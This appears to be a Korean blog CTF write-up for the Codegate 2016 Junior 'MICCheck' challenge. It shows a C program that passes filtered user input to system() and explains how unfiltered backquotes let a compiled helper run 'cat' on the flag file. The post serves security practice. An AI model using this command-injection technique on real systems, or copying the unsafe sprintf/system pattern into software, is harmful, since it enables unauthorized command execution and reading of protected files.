반응형
코드게이트 2016 주니어 MICCheck
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> int main( int argc, char *argv[], char **environ ) { char buf[12] = { 0, }; char cmd[2048] = { 0, }; unsigned int i = 0; char **e; size_t len; printf( "input path :" ); fgets( buf, 10, stdin ); for( i = 0; i <= 11; i++ ) { if( buf[i] == '\'' ) exit(0); if( buf[i] == '&' ) exit(0); if( buf[i] == ';' ) exit(0); if( buf[i] == '|' ) exit(0); if( buf[i] == '\"' ) exit(0); if( buf[i] == ' ' ) exit(0); } sprintf( cmd, "/bin/ls -al /dev/%s", buf ); for( e = environ; *e; ++e ) { len = strlen( *e ); memset( *e, 0x00, len ); } setregid( 1003, 1003 ); system( cmd ); return 0; } | cs |
위는 MICCheck.c 이다
입력받은 값을 /bin/ls -al /dev/ 뒤에 붙이는데
`(Back quote)가 사용 가능 하다는 것을 이용해서
1 2 3 4 5 | #include<stdio.h> int main(void) { system("cat /home/mic/mic.flag.txt"); } | cs |
로 파일을 만들고 컴파일해서
`./(파일이름)` 로 넣어주면 에러로 키가 출력된다.
'CTF' 카테고리의 다른 글
CodeGate 2016 Junior BugBug (0) | 2016.03.20 |
---|---|
CodeGate 2016 Junior JS_is_not_a_jail (0) | 2016.03.19 |
DIMICON Write Up (0) | 2015.11.13 |
2015 정보보호올림피아드 본선 Q2 (0) | 2015.10.18 |
2015 YISF 순천향대 본선 및 예선 WriteUp (2) | 2015.09.07 |